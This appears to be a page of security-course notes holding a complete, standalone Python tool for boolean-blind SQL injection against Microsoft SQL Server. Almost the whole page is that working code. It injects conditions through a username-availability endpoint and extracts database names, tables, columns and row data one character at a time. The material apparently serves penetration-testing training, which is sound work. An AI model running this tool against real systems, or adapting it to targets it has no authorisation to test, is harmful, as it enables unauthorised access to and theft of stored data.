Skip to content
Boolean Blind

Boolean Blind

MSSQL boolean-blind linear harness

Complete standalone file. Once oracle() returns True and False reliably, the same CLI can dump the current database, database names, table names, column names, and selected rows.

The only target-specific part is oracle(). The example uses a username-availability endpoint where an existing seed user remains taken only when the injected condition is true. The harness uses MSSQL syntax throughout: LEN, SUBSTRING, ASCII, db_name(), sys.databases, information_schema, and OFFSET ... FETCH NEXT.

import argparse
import string
import sys

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

CHARSET = string.ascii_letters + string.digits + string.punctuation + " "
TRUE_STRING = "taken"
KNOWN_USER = "maria"
parser = argparse.ArgumentParser(
    description="MSSQL boolean-blind SQL injection dumping harness.",
    epilog=f"Example: {sys.argv[0]} -t http://example.com [-x http://127.0.0.1:8080] --current-db")
parser.add_argument("-t", "--target", required=True, type=str, help="URL of the target, including the port.")
parser.add_argument("-x", "--proxy", required=False, type=str, help="Optional proxy to pass traffic through.", default=None)
parser.add_argument("--current-db", required=False, action="store_true", help="Dump the current database name.")
parser.add_argument("--databases", required=False, action="store_true", help="Dump database names.")
parser.add_argument("--tables", required=False, action="store_true", help="Dump table names from the selected database.")
parser.add_argument("--columns", required=False, action="store_true", help="Dump column names from the selected table.")
parser.add_argument("--dump", required=False, action="store_true", help="Dump selected columns from the selected table.")
parser.add_argument("-D", "--database", required=False, type=str, help="Database name.", default=None)
parser.add_argument("-T", "--table", required=False, type=str, help="Table name.", default=None)
parser.add_argument("-C", "--columns-list", required=False, type=str, help="Comma-separated columns to dump.", default=None)
args = parser.parse_args()

PROXY = args.proxy
if PROXY is not None:
    PROXY = PROXY.strip()
    PROXIES = {
        "http": PROXY,
        "https": PROXY
    }
else:
    PROXIES = {}
URL = args.target.rstrip("/").strip()

def oracle(s, q):
    params = {
        "u": f"{KNOWN_USER}' AND ({q}) -- -"
    }
    try:
        r = s.get(url=f"{URL}/api/check-username.php", params=params, verify=False, timeout=10, proxies=PROXIES)
    except Exception as e:
        print(f"\n[-] request failed: {e}")
        sys.exit(1)
    return r.status_code == 200 and TRUE_STRING in r.text

def get_count(s, query, label):
    count = 0
    while True:
        print(f"\r[+] Bruteforcing {label}: {count}", end="", flush=True)
        if oracle(s, f"({query})={count}"):
            print(f"\n[+] {label}: {count}")
            return count
        count += 1

def get_length(s, expr, label):
    length = 0
    while True:
        print(f"\r[+] Bruteforcing length of {label}: {length}", end="", flush=True)
        if oracle(s, f"LEN(({expr}))={length}"):
            print(f"\n[+] Length of {label}: {length}")
            return length
        length += 1

def dump_value(s, expr, label):
    value = ""
    length = get_length(s, expr, label)
    for pos in range(1, length + 1):
        matched = False
        for ch in CHARSET:
            print(f"\r[+] Dumping {label}: {value}", end="", flush=True)
            if oracle(s, f"ASCII(SUBSTRING(({expr}),{pos},1))={ord(ch)}"):
                value += ch
                matched = True
                break
        if not matched:
            print(f"\n[-] Charset exhausted at position {pos} while dumping {label}")
            sys.exit(1)
    print(f"\n[+] {label}: {value}")
    return value

def database_expr(position):
    return f"SELECT name FROM sys.databases ORDER BY name OFFSET {position} ROWS FETCH NEXT 1 ROWS ONLY"

def table_expr(database, position):
    return f"SELECT table_name FROM information_schema.tables WHERE table_catalog='{database}' ORDER BY table_name OFFSET {position} ROWS FETCH NEXT 1 ROWS ONLY"

def column_expr(database, table, position):
    return f"SELECT column_name FROM information_schema.columns WHERE table_catalog='{database}' AND table_name='{table}' ORDER BY column_name OFFSET {position} ROWS FETCH NEXT 1 ROWS ONLY"

def row_expr(database, table, column, position):
    return f"SELECT CAST({column} AS NVARCHAR(4000)) FROM {database}.dbo.{table} ORDER BY {column} OFFSET {position} ROWS FETCH NEXT 1 ROWS ONLY"

if __name__ == "__main__":
    s = requests.Session()

    if args.current_db:
        dump_value(s, "db_name()", "current database")

    if args.databases:
        database_count = get_count(s, "SELECT COUNT(*) FROM sys.databases", "database count")
        for pos in range(0, database_count):
            dump_value(s, database_expr(pos), f"database {pos}")

    database = args.database
    if not database and (args.tables or args.columns or args.dump):
        database = dump_value(s, "db_name()", "current database")

    if args.tables:
        table_count = get_count(s, f"SELECT COUNT(*) FROM information_schema.tables WHERE table_catalog='{database}'", "table count")
        for pos in range(0, table_count):
            dump_value(s, table_expr(database, pos), f"table {pos}")

    if args.columns:
        if not args.table:
            print("[-] --columns requires -T")
            sys.exit(1)
        column_count = get_count(s, f"SELECT COUNT(*) FROM information_schema.columns WHERE table_catalog='{database}' AND table_name='{args.table}'", "column count")
        for pos in range(0, column_count):
            dump_value(s, column_expr(database, args.table, pos), f"column {pos}")

    if args.dump:
        if not args.table or not args.columns_list:
            print("[-] --dump requires -T and -C")
            sys.exit(1)
        columns = []
        for column in args.columns_list.split(","):
            columns.append(column.strip())
        row_count = get_count(s, f"SELECT COUNT(*) FROM {database}.dbo.{args.table}", "row count")
        for pos in range(0, row_count):
            for column in columns:
                dump_value(s, row_expr(database, args.table, column, pos), f"{args.table}.{column} row {pos}")

Find by: mssql, boolean blind sqli, sql server, len, substring, ascii, db_name, sys.databases, information_schema, offset fetch, row dump, sqlmap style cli · Source: CWEE/Blind SQL Injection